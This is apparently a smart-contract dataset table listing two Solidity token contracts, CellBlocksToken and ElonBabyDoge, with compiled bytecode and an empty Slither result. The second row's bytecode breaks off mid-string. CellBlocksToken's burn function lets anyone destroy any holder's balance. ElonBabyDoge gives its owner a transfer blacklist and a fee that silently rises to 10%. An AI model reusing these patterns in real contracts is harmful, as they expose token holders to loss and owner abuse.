address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x17b03ab4c1e1931f952c8433c3ce52aa56fa5daf
|
pragma solidity ^0.4.19;
/*
Copyright (c) 2016 Smart Contract Solutions, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/*
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
contract EIP20Interface {
/* This is a slight change to the ERC20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint256 _value) public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint256 _value) public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/*
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*
MIT License for burn() function and event
Copyright (c) 2016 Smart Contract Solutions, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
contract CellBlocksToken is EIP20Interface, Ownable {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
function CellBlocksToken() public {
balances[msg.sender] = 3*(10**26); // Give the creator all initial tokens
totalSupply = 3*(10**26); // Update total supply
name = "CellBlocks"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "CLBK"; // Set the symbol for display purposes
}
//as long as supply > 10**26 and timestamp is after 6/20/18 12:01 am MST,
//transfer will call halfPercent() and burn() to burn 0.5% of each transaction
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
if (totalSupply > (10**26) && block.timestamp >= 1529474460) {
uint halfP = halfPercent(_value);
burn(msg.sender, halfP);
_value = SafeMath.sub(_value, halfP);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
//as long as supply > 10**26 and timestamp is after 6/20/18 12:01 am MST,
//transferFrom will call halfPercent() and burn() to burn 0.5% of each transaction
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
if (totalSupply > (10**26) && block.timestamp >= 1529474460) {
uint halfP = halfPercent(_value);
burn(_from, halfP);
_value = SafeMath.sub(_value, halfP);
}
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @notice returns uint representing 0.5% of _value
/// @param _value amount to calculate 0.5% of
/// @return uint representing 0.5% of _value
function halfPercent(uint _value) private pure returns(uint amount) {
if (_value > 0) {
// caution, check safe-to-multiply here
uint temp = SafeMath.mul(_value, 5);
amount = SafeMath.div(temp, 1000);
if (amount == 0) {
amount = 1;
}
}
else {
amount = 0;
}
return;
}
/// @notice burns _value of tokens from address burner
/// @param burner The address to burn the tokens from
/// @param _value The amount of tokens to be burnt
function burn(address burner, uint256 _value) public {
require(_value <= balances[burner]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
if (_value > 0) {
balances[burner] = SafeMath.sub(balances[burner], _value);
totalSupply = SafeMath.sub(totalSupply, _value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
event Burn(address indexed burner, uint256 value);
}
|
0x6060604052600436106100cf5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100d4578063095ea7b31461015e57806318160ddd1461019457806323b872dd146101b957806327e235e3146101e1578063313ce567146102005780635c6581651461022957806370a082311461024e5780638da5cb5b1461026d57806395d89b411461029c5780639dc29fac146102af578063a9059cbb146102d3578063dd62ed3e146102f5578063f2fde38b1461031a575b600080fd5b34156100df57600080fd5b6100e7610339565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012357808201518382015260200161010b565b50505050905090810190601f1680156101505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016957600080fd5b610180600160a060020a03600435166024356103d7565b604051901515815260200160405180910390f35b341561019f57600080fd5b6101a7610443565b60405190815260200160405180910390f35b34156101c457600080fd5b610180600160a060020a0360043581169060243516604435610449565b34156101ec57600080fd5b6101a7600160a060020a0360043516610602565b341561020b57600080fd5b610213610614565b60405160ff909116815260200160405180910390f35b341561023457600080fd5b6101a7600160a060020a036004358116906024351661061d565b341561025957600080fd5b6101a7600160a060020a036004351661063a565b341561027857600080fd5b610280610655565b604051600160a060020a03909116815260200160405180910390f35b34156102a757600080fd5b6100e7610664565b34156102ba57600080fd5b6102d1600160a060020a03600435166024356106cf565b005b34156102de57600080fd5b610180600160a060020a03600435166024356107cb565b341561030057600080fd5b6101a7600160a060020a03600435811690602435166108f0565b341561032557600080fd5b6102d1600160a060020a036004351661091b565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103cf5780601f106103a4576101008083540402835291602001916103cf565b820191906000526020600020905b8154815290600101906020018083116103b257829003601f168201915b505050505081565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b600160a060020a038084166000818152600360209081526040808320339095168352938152838220549282526002905291822054829084901080159061048f5750838210155b151561049a57600080fd5b6a52b7d2dcc80cd2e40000006000541180156104ba5750635b29ed9c4210155b156104e1576104c8846109b6565b90506104d486826106cf565b6104de84826109f9565b93505b600160a060020a0385166000908152600260205260409020546105049085610a0b565b600160a060020a03808716600090815260026020526040808220939093559088168152205461053390856109f9565b600160a060020a0387166000908152600260205260409020556000198210156105af57600160a060020a038087166000908152600360209081526040808320339094168352929052205461058790856109f9565b600160a060020a03808816600090815260036020908152604080832033909416835292905220555b84600160a060020a031686600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405190815260200160405180910390a350600195945050505050565b60026020526000908152604090205481565b60055460ff1681565b600360209081526000928352604080842090915290825290205481565b600160a060020a031660009081526002602052604090205490565b600154600160a060020a031681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103cf5780601f106103a4576101008083540402835291602001916103cf565b600160a060020a0382166000908152600260205260409020548111156106f457600080fd5b60008111156107c757600160a060020a03821660009081526002602052604090205461072090826109f9565b600160a060020a0383166000908152600260205260408120919091555461074790826109f9565b600055600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a26000600160a060020a0383167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35b5050565b600160a060020a0333166000908152600260205260408120548190839010156107f357600080fd5b6a52b7d2dcc80cd2e40000006000541180156108135750635b29ed9c4210155b1561083a57610821836109b6565b905061082d33826106cf565b61083783826109f9565b92505b600160a060020a03331660009081526002602052604090205461085d90846109f9565b600160a060020a03338116600090815260026020526040808220939093559086168152205461088c9084610a0b565b600160a060020a0380861660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b5092915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015433600160a060020a0390811691161461093657600080fd5b600160a060020a038116151561094b57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008060008311156109ee576109cd836005610a21565b90506109db816103e8610a4c565b91508115156109e957600191505b6109f3565b600091505b50919050565b600082821115610a0557fe5b50900390565b600082820183811015610a1a57fe5b9392505050565b600080831515610a3457600091506108e9565b50828202828482811515610a4457fe5b0414610a1a57fe5b6000808284811515610a5a57fe5b049493505050505600a165627a7a72305820f038cbc218bbf7f096e0061d0292bec85967ec9047d2ab1a5a1dd3b6d7f7d17a0029
|
{"success": true, "error": null, "results": {}}
| 9,100 |
0x37AFfF4058a1De4606ad0Bb221d1B9f3De9bDaa2
|
// Telegram: https://t.me/ebabydoge
// Elon Musk's Tweet: https://twitter.com/elonmusk/status/1410529698497630212
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ElonBabyDoge is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ElonBabyDoge | t.me/ebabydoge";
string private constant _symbol = "EBD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 3;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _charityAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_charityAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_charityAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 0;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_charityAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 250000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
_teamFee
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**3);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610303578063c3c8cd8014610323578063c9567bf914610338578063d543dbeb1461034d578063dd62ed3e1461036d57600080fd5b8063715018a61461027a5780638da5cb5b1461028f57806395d89b41146102b7578063a9059cbb146102e357600080fd5b8063273123b7116100dc578063273123b7146101e7578063313ce567146102095780635932ead1146102255780636fc3eaec1461024557806370a082311461025a57600080fd5b806306fdde0314610119578063095ea7b31461017157806318160ddd146101a157806323b872dd146101c757600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152601d81527f456c6f6e42616279446f6765207c20742e6d652f6562616279646f676500000060208201525b6040516101689190611a02565b60405180910390f35b34801561017d57600080fd5b5061019161018c366004611893565b6103b3565b6040519015158152602001610168565b3480156101ad57600080fd5b50683635c9adc5dea000005b604051908152602001610168565b3480156101d357600080fd5b506101916101e2366004611853565b6103ca565b3480156101f357600080fd5b506102076102023660046117e3565b610433565b005b34801561021557600080fd5b5060405160098152602001610168565b34801561023157600080fd5b50610207610240366004611985565b610487565b34801561025157600080fd5b506102076104cf565b34801561026657600080fd5b506101b96102753660046117e3565b6104fc565b34801561028657600080fd5b5061020761051e565b34801561029b57600080fd5b506000546040516001600160a01b039091168152602001610168565b3480156102c357600080fd5b5060408051808201909152600381526211509160ea1b602082015261015b565b3480156102ef57600080fd5b506101916102fe366004611893565b610592565b34801561030f57600080fd5b5061020761031e3660046118be565b61059f565b34801561032f57600080fd5b50610207610643565b34801561034457600080fd5b50610207610679565b34801561035957600080fd5b506102076103683660046119bd565b610a3c565b34801561037957600080fd5b506101b961038836600461181b565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103c0338484610b10565b5060015b92915050565b60006103d7848484610c34565b610429843361042485604051806060016040528060288152602001611bd3602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611046565b610b10565b5060019392505050565b6000546001600160a01b031633146104665760405162461bcd60e51b815260040161045d90611a55565b60405180910390fd5b6001600160a01b03166000908152600a60205260409020805460ff19169055565b6000546001600160a01b031633146104b15760405162461bcd60e51b815260040161045d90611a55565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104ef57600080fd5b476104f981611080565b50565b6001600160a01b0381166000908152600260205260408120546103c490611105565b6000546001600160a01b031633146105485760405162461bcd60e51b815260040161045d90611a55565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103c0338484610c34565b6000546001600160a01b031633146105c95760405162461bcd60e51b815260040161045d90611a55565b60005b815181101561063f576001600a60008484815181106105fb57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063781611b68565b9150506105cc565b5050565b600c546001600160a01b0316336001600160a01b03161461066357600080fd5b600061066e306104fc565b90506104f981611189565b6000546001600160a01b031633146106a35760405162461bcd60e51b815260040161045d90611a55565b600f54600160a01b900460ff16156106fd5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161045d565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561073a3082683635c9adc5dea00000610b10565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077357600080fd5b505afa158015610787573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ab91906117ff565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c